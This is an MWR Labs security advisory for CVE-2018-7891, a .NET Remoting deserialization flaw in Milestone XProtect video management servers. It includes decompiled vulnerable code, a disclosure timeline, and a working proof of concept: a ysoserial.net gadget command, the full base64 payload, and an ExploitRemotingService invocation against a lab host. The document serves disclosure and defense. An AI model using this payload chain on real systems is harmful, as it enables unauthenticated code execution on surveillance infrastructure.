MWR LABS

Security Advisory

Milestone XProtect VMS Remote .NET Remoting Deserialization Vulnerability

09/03/2018

Software	Milestone XProtect VMS (Corporate, Expert, Professional+, Express+, Essential+)
Affected Versions	2016 R1 (10.0.a) to 2018 R1 (12.1a)
CVE Reference	CVE-2018-7891
Author	Ben Campbell
Severity	Critical CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vendor	Milestone
Vendor Response	Vendor has supplied a fix[1] (2018 R2 – 12.2a) and is working towards long term migration from .NET Remoting.

Description:

The Milestone XProtect Video Management Software (Corporate, Expert, Professional+, Express+, Essential+) contains .NET Remoting endpoints that are vulnerable to deserialization attacks resulting in remote code execution.

The XProtect line of software is used for the management of surveillance and CCTV cameras for organisations, allowing video streams to be recorded and archived from multiple different device types.

[1] https://supportcommunity.milestonesys.com/s/article/XProtect-VMS-NET-security-vulnerability-hotfixes-for-2016-R1-2018-R1?language=en_US

Impact:

Exploitation of this flaw could allow a network attacker access to the XProtect Management and Recording servers and all stored data and recordings. An attacker could also disable the service to prevent recordings, or remove existing recordings.

By default the services are installed and run under the 'NT Authority\Network Service' account limiting full access to the host. In an Active Directory environment they may be run using a domain account.

Cause:

A number of .NET Remoting services are used for inter-process communication within the Xprotect environment. These were found to use the BinaryServerFormatterSinkProvider class with the TypeLevelFilter set to 'Full'. This allows arbitrary deserialization of objects sent by clients. No authentication was required to establish a connection and these services were bound to 0.0.0.0 making them remotely accessible on all interfaces.

Interim Workaround:

Milestone have provided the following guidance:

https://supportcommunity.milestonesys.com/s/article/XProtect-NET-security-vulnerability?language=en_US

MWR's original workaround:

> Add firewall rules to prevent remote access to the following TCP ports: 8966, 9993.
>
> If recording servers are hosted separately add specific rules to allow access from these hosts on TCP port 9993.

Solution:

Milestone have now provided HotFix and cumulative patches:
https://supportcommunity.milestonesys.com/s/article/XProtect-VMS-NET-security-vulnerability-hotfixes-for-2016-R1-2018-R1?language=en_US

MWR's original guidance to the developers:

> .NET Remoting is no longer recommended by Microsoft who suggest that all communication should use the Windows Communication Foundation (WCF) protocol. A number of services within the Xprotect ecosystem already use WCF so these remaining .NET Remoting services should be migrated at the earliest opportunity.
>
> Interim developer mitigations could include:
>
> - Set the BinaryServerFormatterSinkProvider TypeLevelFilter to 'low' – may still be vulnerable to other serialization attacks
> - Bind the RecorderService endpoint to localhost

- Enabling ‘security’[2] on the .NET Remoting tcp channel to prevent access from anonymous attackers

[2] https://msdn.microsoft.com/en-us/library/59hafwyt(v=vs.100).aspx

Technical details

Two remotely accessible .NET Remoting services are run in a default installation of Xprotect:

- tcp://0.0.0.0:8966/RecorderService.rem
- gtcp://0.0.0.0:9993/RemotingObjectProvider.rem

RecorderService.rem runs under the 'Milestone Xprotect Recording Server' service VideoOS.Recorder.Service.exe and would be present on all recording servers. In the Milestone documentation[3] it is noted as a 'local connection only', but was accessible on all interfaces. It uses the BinaryServerFormatterSinkProvider with TypeFilterLevel explicitly set to 'Full'. The default configuration sets RejectRemoteRequests to 'false', but setting this to 'true' did not affect exploitation.

```
// VideoOS.Recorder.Service.StateProvider
public void Start()
{
        ListDictionary listDictionary = new ListDictionary();
        listDictionary.Add("name", "VideoOS.Recorder.Service.StateProvider");
        listDictionary.Add("port", this.Port);
        if (Socket.OSSupportsIPv4)
        {
                listDictionary.Add("bindTo", IPAddress.Any.ToString());
        }
        else
        {
                listDictionary.Add("bindTo", IPAddress.Ipv6Any.ToString());
        }
        if (this.RejectRemoteRequests)
        {
                listDictionary.Add("rejectRemoteRequests", "true");
        }
        listDictionary.Add("suppressChannelData", "true");
        this._tc = new TcpServerChannel(listDictionary, new BinaryServerFormatterSinkProvider
        {
                TypeFilterLevel = TypeFilterLevel.Full
        });
        ChannelServices.RegisterChannel(this. tc, false);
        RemotingServices.Marshal(this._serviceObject, "RecorderService.rem");
}
```

Proof of Concept

This service is exploitable using James Forshaw's ExploitRemotingService[4] tool and his TypeConfuseDelegate gadget (generated from ysoserial.net[5]):

```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f BinaryFormatter -c "mkdir c:\temp & whoami >
c:\temp\whoami.txt"
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj
1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBt
c2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAA
AFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFy
ZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj
1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21w
YXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdW
JsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9s
ZGVyCQUAAAARBAAAAAIAAAAGBgAAAC4vYyBta2RpciBjOlx0ZW1wICYgd2hvYW1pID4gYzpcdGVtcFx3aG9hbWkudHh0BgcAAAADY21kBA
UAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5E
ZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdG
```

[3] https://developer.milestonesys.com/s/article/XProtect-Corporate-Ports-used-by-the-system

[4] https://github.com/Tyranid/ExploitRemotingService

[5] https://github.com/pwntester/ysoserial.net

```
lvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5
c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VH
lwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFs
aXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW
9uPTQuMC4wLjAsIEN1bHRlcmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1z
Y29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3
RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tl
bj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBCdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRv
Rva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5
VG9rZW49YjZ3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3
RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2ln
bmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDg
AAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lz
dGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAYWAAAAB0
NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcp
BhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAYbAAAAcVN5c3
RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVi
bGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=

ExploitRemotingService.exe tcp://192.168.159.161:8966/RecorderService.rem raw
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj
1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFN1dGAxW1tTeXN0ZW0uU3RyaW5nLCBt
c2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBCdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwOD1dXQQAAA
AFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFy
ZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj
1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21w
YXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdW
JsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9s
ZGVyCQUAAAARBAAAAAIAAAAGBgAAAC4vYyBta2RpciBjOlx0ZW1wICYgd2hvYW1pID4gYzpcdGVtcFx3aG9hbWkudHh0BgcAAAADY21kBA
UAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5E
ZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdG
lvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5
c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VH
lwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFs
aXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW
9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1z
Y29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3
RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tl
bj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBCdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRv
Rva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5
VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3
RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2ln
bmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDg
AAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lz
dGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAYWAAAAB0
NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcp
BhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAYbAAAAcVN5c3
RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVi
bGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
```

Verification on the remote host:

```
type c:\temp\whoami.txt
nt authority\network service
```

The RemotingObjectProvider.rem runs under 'Milestone Xprotect Management Server' via VideoOS.Server.Service.exe, and would be present on any management servers. It listens on TCP port 9993 and must be accessible for any remote recording servers. This service uses a custom communication channel 'GenuineChannels'[6], but also set the TypeFilterLevel to full.

```
// VideoOS.Server.RecorderCommunication.RecorderCommManager
private void InitializeRemoting()
{
        Idictionary dictionary = new Hashtable();
```

[6] https://github.com/GenuineChannels/GenuineChannels

```
        dictionary["port"] = this.Port;
        dictionary["name"] = "Server GTCP 1";
        dictionary["suppressChannelData"] = "true";
        dictionary["priority"] = "100";
…snip…
        BinaryServerFormatterSinkProvider binaryServerFormatterSinkProvider = new
BinaryServerFormatterSinkProvider();
        binaryServerFormatterSinkProvider.TypeFilterLevel = TypeFilterLevel.Full;
        BinaryClientFormatterSinkProvider iClientChannelSinkProvider = new
BinaryClientFormatterSinkProvider();
…snip…
        this._genuineTcpChannel = new GenuineTcpChannel(dictionary, flag, iClientChannelSinkProvider,
binaryServerFormatterSinkProvider);
        ChannelServices.RegisterChannel(this. genuineTcpChannel, false);
        RemotingServices.Marshal(this._remotingObjectProvider, "RemotingObjectProvider.rem");
}
```

To exploit this service modifications were required to the ExploitRemotingService project[7] to communicate with the GenuineChannel.

In addition to these two remotely exploitable services the following services were only accessible on localhost:

- tcp://127.0.0.1:6473/ServerService.rem
- tcp://127.0.0.1:7474/SNMPAgentComm.rem
- tcp://127.0.0.1:7474/SNMPAgentComm.rem

The implementation appeared be vulnerable (potentially allowing local privilege escalation) but exploitation led to the services crashing before execution occurred.

References to a FailoverService.rem were also found within the code but this endpoint was not located on the tested configuration.

Detailed Timeline

Date	Summary
2018-03-03	Requested a security contact via the Milestone website contact form[8]
2018-03-07	Contacted @milestonesys on for a security contact
2018-03-08	Contacted DKCERT for assistance obtaining a security contact
2018-03-08	Contacted Milestone security contact provided by DKCERT and requested PGP key
2018-03-08	Milestone security contact responds with PGP key
2018-03-09	Initial advisory report sent to Milestone security contact
2018-03-09	MITRE provide CVE number

[7] https://github.com/mwrlabs/ExploitRemotingService/tree/genuinechannels

[8] Later identified that https://www.milestonesys.com/support/resources/cyber-security/ provides reporting contact details

2018-03-13	Security contact confirms receipt and expects a response on 2018-03-20
2018-03-16	Security contact provides update with firewall mitigation expected to be released to partners on 2018-03-23 and that investigations into long term solution are being performed
2018-03-23	Security contact asks if MWR can test the interim fix due to be released on the 27th March
2018-03-27	MWR confirm that the patches fix the immediate serialization flaws, preventing code execution. MWR note that .NET Remoting is still in use and could be vulnerable to future flaws discovered in .NET Remoting.
2018-04-07	Security contact informs that issue will be released to OEM partners on the 17th or 23rd April. Once OEM partners are patched a date for a wider public announcement will be made.
2018-04-23	Security contact informs that a public announcement will be made on the 25th April.
2018-04-25	Vendor publishes vulnerability details on https://www.milestonesys.com/support/resources/cyber-security/.